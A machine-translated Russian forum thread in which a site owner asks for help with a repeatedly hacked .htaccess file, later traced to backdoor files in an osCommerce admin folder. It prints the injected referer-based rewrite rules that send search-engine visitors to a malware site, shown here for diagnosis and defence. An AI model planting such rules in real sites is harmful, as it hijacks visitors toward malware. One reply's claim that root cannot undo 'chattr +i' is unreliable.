Назад | Перейти на главную страницу

.htaccess многократно взламывается

Примерно 4 или 5 дней назад клиент вернулся ко мне и сказал, что их сайт перенаправляется на какой-то другой подозрительно выглядящий веб-сайт из Google, Yahoo и т. Д., Но он работал нормально, когда пользователь вводил URL-адрес сайта в адрес браузера. бар напрямую.

Я попытался связаться со своим хостинг-провайдером, но сначала они почти не помогли, а затем, похоже, потребовалась целая вечность, чтобы выяснить проблему.

Разочарованный ожиданием, я решил выяснить, что же произошло. После небольшого поиска решений в Google я обнаружил, что мой файл .htaccess был взломан.

Что было:

<Files *>
Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0"
Header set Expires: 0
Header set Pragma: no-cache
</Files>

стал

<Files *>
Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0"
Header set Expires: 0
Header set Pragma: no-cache
</Files>
//several hundred empty lines later
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ /*don't want to post the malicious URL here for fear of retaliation */[R=301,L]

По сути, бот, который меня взломал, казалось, писал инструкции, чтобы весь трафик, исходящий с важных сайтов, был перенаправлен на сайт с вирусом.

Я немедленно исправил это, удалив оскорбительный код, и очень хорошо себя чувствовал. Я также удалил файл .htaccess из основной папки, к которой имеет доступ публика, и сохранил его на одну папку выше, в корне. Я также изменил разрешения на 444, только чтение для всех. Я изменил пароли для доступа к FTP, панели управления хостингом, баз данных MySQL и т. Д.

Однако сегодня проблема вернулась. Оказалось, что в мою папку public_html был установлен НОВЫЙ файл .htaccess, и в нем был только оскорбительный код, который я написал выше, и ничего больше.

В чем дело?

У меня такое чувство, что это не тот случай, когда мои пароли были скомпрометированы. Я использую общий хостинг, и, возможно, кто-то на том же жестком диске написал фрагмент кода, который весело писал файлы .htaccess всем своим соседям. Это возможно? И что я могу сделать, чтобы этого больше не повторилось?

Хотя я не могу переустановить или сделать что-нибудь с основной ОС хоста ...

Ваш сайт был взломан. Вам необходимо стереть его и восстановить из заведомо исправной резервной копии. Сохраните копию взломанного сайта и его журналы, чтобы вы могли сравнить ее с хорошим сайтом и попытаться выяснить, как сайт был взломан.

Ладно, ребята, я нашел тараканы!

Я сделал все, в том числе изменил пароль FTP, пароль хостинг-панели, (мучительно) вытер все 2 ГБ и загрузил все резервные копии, а также сменил пароль базы данных.

Они все еще вошли.

В журналах FTP не было ничего, кроме моих собственных действий. Кроме того, метка времени последнего изменения файла .htaccess именно то же самое, что и моя временная метка (всякий раз, когда я исправлял ее из-за неоднократного искажения), поэтому не было возможности узнать, когда и как произошли изменения. Я догадался, что они использовали filemtime() и touch() сделать это.

Что ж, оказывается, файлы румян попадают через установку osCommerce. Не знаю как, но конкретно, через административную зону. В папках администратора есть эти чужие файлы под названием "google_analitis (sic) _somenumber". Я заметил их на моем основном считывателе статистики. Я просто посмотрел на все файлы, к которым был осуществлен доступ (обычные журналы) сегодня, и, к моему счастью, файл был снова взломан только сегодня, поэтому я подозревал, что там был скрипт румян, и, черт возьми, эти файлы получили спаммерская вонь написана повсюду в их именах файлов.

Я открыл их и, конечно же, они навредили.

Я только что открыл один из файлов, используя URL-адрес, и был очень удивлен количеству контроля, который эти файлы обеспечивали ... это была параллельная панель управления для всего веб-сайта!

Надеюсь, это кому-то поможет ... посмотрите на свои сторонние приложения, особенно когда вы видите большое количество неизвестных ботов, ползающих вверх и вниз по вашему сайту.

Это может быть идея проверить журналы FTP для сайта или попросить вашего провайдера, если у вас нет к ним доступа. Вполне возможно, что кто-то каким-то образом получил ваши данные FTP и обновил файл .htaccess (обычно им нравится редактировать файлы index. *). Мы много раз видели это на клиентских компьютерах, зараженных трояном или подобным.

Вы сказали, что полностью удалили файл .htaccess. Это говорит о том, что они могли создавать файлы. Доступ по FTP наиболее вероятен, но также проверьте права доступа к основному каталогу (public_html), в котором находятся файлы. Убедитесь, что они не доступны для записи глобально.

Как правило, невозможно редактировать / создавать файлы на сайтах других людей на общем сервере, если разрешения не являются слабыми.

Быстрое исправление: найдите все каталоги, к которым есть общий доступ. В каждом каталоге создайте пустой файл .htaccess, измените его владельца на root, сделайте его доступным только для чтения, сделайте каталог закрепленным (+ t), чтобы пользователи могли изменять только те файлы, которыми они владеют.

Затем прочтите документацию по защите веб-сайтов и файлов htaccess (подсказка: может быть полезно поработать с файлами конфигурации apache и поиграть с различными флагами).

У меня была серьезная проблема с тем, что кто-то взломал мой файл .htaccess, и единственным решением было сделать этот файл недоступным для взлома. Сначала я очистил файл .htaccess и все файлы PHP от всех хаков. Затем я изменил права доступа к файлу на 444 (644 все еще разрешает доступ) для файла .htaccess. Затем я использовал доступ оболочки к моей учетной записи, чтобы сделать файл «неизменяемым», что означает, что его нельзя изменить!

Когда у вас есть доступ к вашей учетной записи на сервере Linux, введите следующее: # chattr + i .htaccess

Теперь даже те, у кого есть root-доступ, не могут изменить файл!

Если вам нужно отменить это, введите: # chattr -i .htaccess

Если у вас нет доступа к оболочке для вашей учетной записи, попросите свой веб-хостинг ввести его, чтобы вы сделали файл неизменяемым.

Для учетных записей, отличных от Linux, просто введите «сделать файл неизменяемым» в Google или Bing для вашего типа веб-сервера. Это должно дать вам необходимую информацию.